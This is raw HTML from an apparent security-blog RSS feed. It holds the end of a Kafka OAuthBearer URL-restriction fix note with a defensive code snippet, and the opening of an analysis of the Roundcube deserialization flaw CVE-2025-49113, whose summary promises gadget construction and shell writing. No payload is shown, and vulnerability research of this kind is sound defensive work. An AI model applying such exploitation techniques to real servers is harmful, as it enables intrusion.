&#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;color: rgb(63, 63, 63);"><span leaf=""><img data-imgfileid="100008544" class="rich_pages wxw-img" data-ratio="0.4897560975609756" data-type="png" data-w="1025" style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);display: block;vertical-align: middle;max-width: 100%;height: auto;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;margin: 0.1em auto 0.5em;border-radius: 8px;" title="null" src="https://wechat2rss.xlab.app/img-proxy/?k=6c01a598&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F9UsWg6ibZLAzkTibxe8rdicrbSlVtob8SibJngqdApca1NAonkFjSoiboPZzSct6CROZzIeUpdPNSxdw5qiam8pibsFAA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;color: rgb(136, 136, 136);"></figcaption></figure><figure style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;color: rgb(63, 63, 63);"><span leaf=""><img data-imgfileid="100008545" class="rich_pages wxw-img" data-ratio="0.08439646712463199" data-type="png" data-w="1019" style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);display: block;vertical-align: middle;max-width: 100%;height: auto;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;margin: 0.1em auto 0.5em;border-radius: 8px;" title="null" src="https://wechat2rss.xlab.app/img-proxy/?k=de4abc5a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F9UsWg6ibZLAzkTibxe8rdicrbSlVtob8SibJ6J3SUCFOnh1IYhZicmZjt50FchqTmjj6oHULich8wBxyjDNmXmTfvrGA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;color: rgb(136, 136, 136);"></figcaption></figure><h2 data-heading="true" style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-size: 19.5px;font-weight: bold;margin: 4em auto 2em;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;display: table;padding: 0.3em 1.2em;color: rgb(255, 255, 255);background: rgb(15, 76, 129);border-radius: 8px 24px;box-shadow: rgba(0, 0, 0, 0.06) 0px 2px 6px;"><span leaf="">修复方式</span></h2><div><span leaf="">在</span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">AccessTokenRetrieverFactory</span></p><span leaf="">和</span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">VerificationKeyResolverFactory</span></p><span leaf="">中对</span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">URL</span></p><span leaf="">进行了限定：</span><span leaf=""><br/></span></div><figure style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;color: rgb(63, 63, 63);"><span leaf=""><img data-imgfileid="100008547" class="rich_pages wxw-img" data-ratio="0.4602551521099117" data-type="png" data-w="1019" style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);display: block;vertical-align: middle;max-width: 100%;height: auto;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;margin: 0.1em auto 0.5em;border-radius: 8px;" title="null" src="https://wechat2rss.xlab.app/img-proxy/?k=8454aa74&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F9UsWg6ibZLAzkTibxe8rdicrbSlVtob8SibJtOCutgAiaw372MaOSGmkezzwSghHQl4RrliaO0JHKUTV6hGZMvRoibONA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;color: rgb(136, 136, 136);"></figcaption></figure><figure style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;color: rgb(63, 63, 63);"><span leaf=""><img data-imgfileid="100008546" class="rich_pages wxw-img" data-ratio="0.3427734375" data-type="png" data-w="1024" style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);display: block;vertical-align: middle;max-width: 100%;height: auto;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;margin: 0.1em auto 0.5em;border-radius: 8px;" title="null" src="https://wechat2rss.xlab.app/img-proxy/?k=7c72bfc1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F9UsWg6ibZLAzkTibxe8rdicrbSlVtob8SibJLoTqVLrKcdjShhRNFib9zMeWFXsVslUNA84GWnsaY9QWiajJXIKVbHOg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;color: rgb(136, 136, 136);"></figcaption></figure><pre style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;margin: 10px 8px;color: rgb(201, 209, 217);background: rgb(13, 17, 23);text-align: left;line-height: 1.5;overflow-x: auto;border-radius: 8px;padding: 0px !important;"><span hidden="" style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));display: flex;padding: 10px 14px 0px;"><svg viewBox="0 0 450 130" height="13px" width="45px" y="0px" x="0px" version="1.1" xmlns="http://www.w3.org/2000/svg"><ellipse fill="rgb(237,108,96)" stroke-width="2" stroke="rgb(220,60,54)" ry="52" rx="50" cy="65" cx="50"></ellipse><ellipse fill="rgb(247,193,81)" stroke-width="2" stroke="rgb(218,151,33)" ry="52" rx="50" cy="65" cx="225"></ellipse><ellipse fill="rgb(100,200,86)" stroke-width="2" stroke="rgb(27,161,37)" ry="52" rx="50" cy="65" cx="400"></ellipse></svg></span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: &#34;Fira Code&#34;, Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.15px;display: -webkit-box;padding: 0.5em 1em 1em;overflow-x: auto;text-indent: 0px;text-align: left;line-height: 1.75;margin: 0px;white-space: pre-wrap;"><span leaf="">// visible for testing</span><span leaf=""><br/></span><span leaf="">// make sure the url is in the &#34;org.apache.kafka.sasl.oauthbearer.allowed.urls&#34; system property</span><span leaf=""><br/></span><span leaf="">void throwIfURLIsNotAllowed(String configName, String configValue) {</span><span leaf=""><br/></span><span leaf="">    throwIfResourceIsNotAllowed(</span><span leaf=""><br/></span><span leaf="">        &#34;URL&#34;,</span><span leaf=""><br/></span><span leaf="">        configName,</span><span leaf=""><br/></span><span leaf="">        configValue,</span><span leaf=""><br/></span><span leaf="">        ALLOWED_SASL_OAUTHBEARER_URLS_CONFIG,</span><span leaf=""><br/></span><span leaf="">        ALLOWED_SASL_OAUTHBEARER_URLS_DEFAULT</span><span leaf=""><br/></span><span leaf="">    );</span><span leaf=""><br/></span><span leaf="">}</span></p></pre></div><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 0px;color: rgb(10, 10, 10);font-family: ui-sans-serif, system-ui, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;font-size: 0px;line-height: 0;"><span leaf=""> </span></p><p><span leaf=""><br/></span></p><p><span style="color: rgb(63, 63, 63);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 12px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 700;letter-spacing: 1.4px;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;display: inline !important;float: none;" data-pm-slice="0 0 []"><span leaf="">由于传播、利用此文档提供的信息而造成任何直接或间接的后果及损害，均由使用本人负责，公众号及文章作者不为此承担任何责任。</span></span></p><p class="mp_profile_iframe_wrp" nodeleaf=""><mp-common-profile class="js_uneditable custom_select_card mp_profile_iframe" data-pluginname="mpprofile" data-nickname="自在安全" data-alias="zizaianquan" data-from="0" data-headimg="http://mmbiz.qpic.cn/sz_mmbiz_png/9UsWg6ibZLAyXOOjT6ic7nYAv7IbBiaSry4atmFYFQotupk7xIuiaK0opNtiariaXJo31Cf1X4t5609epW2oBesIdoxA/0?wx_fmt=png" data-signature="网海茫茫隐暗礁，漏洞潜伏似波涛。 慧心洞察安澜处，自在安全任我遨。" data-id="Mzk0NTU5Mjg0Ng==" data-is_biz_ban="0" data-service_type="1" data-verify_status="0"></mp-common-profile></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>


<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=4d50318a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F9UsWg6ibZLAzkTibxe8rdicrbSlVtob8SibJVcwkTG5rS7jLxk66GQkmDaibvPffJboRp7KibxAMALBMmGiaTwFoxZ7YA%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=a4cdb01e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F9UsWg6ibZLAzkTibxe8rdicrbSlVtob8SibJY2qHOBBCTtnoGqMe5tu28ddulDWY2pYtjulgyFharZFlRUs4VfRZJA%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=b61e27e3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F9UsWg6ibZLAzkTibxe8rdicrbSlVtob8SibJRFia187l3FhE6YfUiaXxV7AOq4cpAibl3ibsvlQYD17DCMNAtyem5EV3mw%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=269a8e9a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F9UsWg6ibZLAzkTibxe8rdicrbSlVtob8SibJtySYLG1wOosjbOu6qRLibzMA2zUBQpicRD6btWO6ZA3mTicZJ0W9wyjRw%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=d97a4cbc&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F9UsWg6ibZLAzkTibxe8rdicrbSlVtob8SibJXJvKuT57xwXsfo3yT7IriczKy7gD01zicWMQAdiarwia8l6rueDBjFbsUw%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=4f5dda18&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F9UsWg6ibZLAzkTibxe8rdicrbSlVtob8SibJjGhU6Gs7Sg0QwJW4vOzo7fc6aSPq5Fv19CSXKWjlM1piaoHohibdBzuw%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=e28f4678&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F9UsWg6ibZLAzkTibxe8rdicrbSlVtob8SibJADtz7amQuHIqzMPwOddtC1iaxTg0qXcDyjicbKqWicmq5CnVONrOmiatMQ%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=7669f954&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F9UsWg6ibZLAzkTibxe8rdicrbSlVtob8SibJGcc2dacq1tqiayhPFXhXmNOtx6ibpU58h8bEhwmyzfBjbxLoTpaxT4Sw%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=210d8813&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F9UsWg6ibZLAzkTibxe8rdicrbSlVtob8SibJGRFaFhzbicHicKSd76reR8xYu0BybNlplq7RD6dib7MPtyiaXSOyY2CUuQ%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=5ed329df&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F9UsWg6ibZLAzkTibxe8rdicrbSlVtob8SibJow3NdCbrKrIBdXgxn9S4pz9QVGpoxsP1BbbTbdyu7d8zPqjibO9sTZg%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=a127b51a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F9UsWg6ibZLAzkTibxe8rdicrbSlVtob8SibJngqdApca1NAonkFjSoiboPZzSct6CROZzIeUpdPNSxdw5qiam8pibsFAA%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=70dd453d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F9UsWg6ibZLAzkTibxe8rdicrbSlVtob8SibJ6J3SUCFOnh1IYhZicmZjt50FchqTmjj6oHULich8wBxyjDNmXmTfvrGA%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=37d17f76&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F9UsWg6ibZLAzkTibxe8rdicrbSlVtob8SibJtOCutgAiaw372MaOSGmkezzwSghHQl4RrliaO0JHKUTV6hGZMvRoibONA%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=20e7dc29&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F9UsWg6ibZLAzkTibxe8rdicrbSlVtob8SibJLoTqVLrKcdjShhRNFib9zMeWFXsVslUNA84GWnsaY9QWiajJXIKVbHOg%2F640%3Fwx_fmt%3Dpng"/></p>



<p><a href="2247492201">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=8620844c&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzk0NTU5Mjg0Ng%3D%3D%26mid%3D2247492201%26idx%3D1%26sn%3D3a6c575e0bba0f8d05cc8af88125a412">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Sun, 22 Jun 2025 07:30:00 +0800</pubDate>
    </item>
    <item>
      <title>潜伏十年的严重漏洞：CVE-2025-49113 Roundcube 反序列化漏洞原理与 gadget 构造深度分析</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzk0NTU5Mjg0Ng==&amp;mid=2247492152&amp;idx=1&amp;sn=9880c257352e81a69012ac2327d46c1b</link>
      <description>深度剖析CVE-2025-49113 Roundcube反序列化漏洞原理与 gadget 构造过程，以及解决字符限制和如何写 shell 的问题。</description>
      <content:encoded><![CDATA[<p>
原创 <span>KCyber</span> <span>2025-06-08 07:30</span> <span style="display: inline-block;">北京</span>
</p>

<p>深度剖析CVE-2025-49113 Roundcube反序列化漏洞原理与 gadget 构造过程，以及解决字符限制和如何写 shell 的问题。</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=225aeca0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2F9UsWg6ibZLAxrK6qEqmoZfnLp1UfvEWibRq9LrJEdFM2EFan9b6fwPO2xcs0nkNHxbj5p1Vp2DIETw48SfBibO5fw%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 0px;color: rgb(10, 10, 10);font-family: ui-sans-serif, system-ui, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;font-size: 0px;line-height: 0;" data-pm-slice="0 0 []"><span leaf=""><br/></span></p><p><span leaf=""> <mp-common-profile class="js_uneditable custom_select_card mp_profile_iframe" data-pluginname="mpprofile" data-nickname="自在安全" data-alias="zizaianquan" data-from="0" data-headimg="http://mmbiz.qpic.cn/sz_mmbiz_png/9UsWg6ibZLAyXOOjT6ic7nYAv7IbBiaSry4atmFYFQotupk7xIuiaK0opNtiariaXJo31Cf1X4t5609epW2oBesIdoxA/0?wx_fmt=png" data-signature="网海茫茫隐暗礁，漏洞潜伏似波涛。 慧心洞察安澜处，自在安全任我遨。" data-id="Mzk0NTU5Mjg0Ng==" data-is_biz_ban="0" data-service_type="1" data-verify_status="0"></mp-common-profile></span></p><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 0px;color: rgb(10, 10, 10);font-family: ui-sans-serif, system-ui, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;font-size: 0px;line-height: 0;" data-pm-slice="3 3 []"><span leaf=""><br/></span></p><h2 data-heading="true" style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-size: 19.5px;font-weight: bold;margin: 4em auto 2em;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;display: table;padding: 0.3em 1.2em;color: rgb(255, 255, 255);background: rgb(15, 76, 129);border-radius: 8px 24px;box-shadow: rgba(0, 0, 0, 0.06) 0px 2px 6px;"><span leaf="">漏洞概述</span></h2><div style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">近日官方披露 </span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">Roundcube</span></p><span leaf="">邮件系统中存在一个潜伏了</span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">10</span></p><span leaf="">年之久的严重漏洞，虽然只有认证后才能触发，但</span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">CVSS</span></p><span leaf="">评分仍然高达</span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">9.9</span></p><span leaf="">分。由于</span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">Roundcube</span></p><span leaf="">自定义的</span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">session</span></p><span leaf="">序列化与反序列化函数存在逻辑缺陷，导致可通过构造特殊请求实现</span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">RCE</span></p><span leaf="">。该漏洞影响</span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">1.5.10</span></p><span leaf="">及</span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: 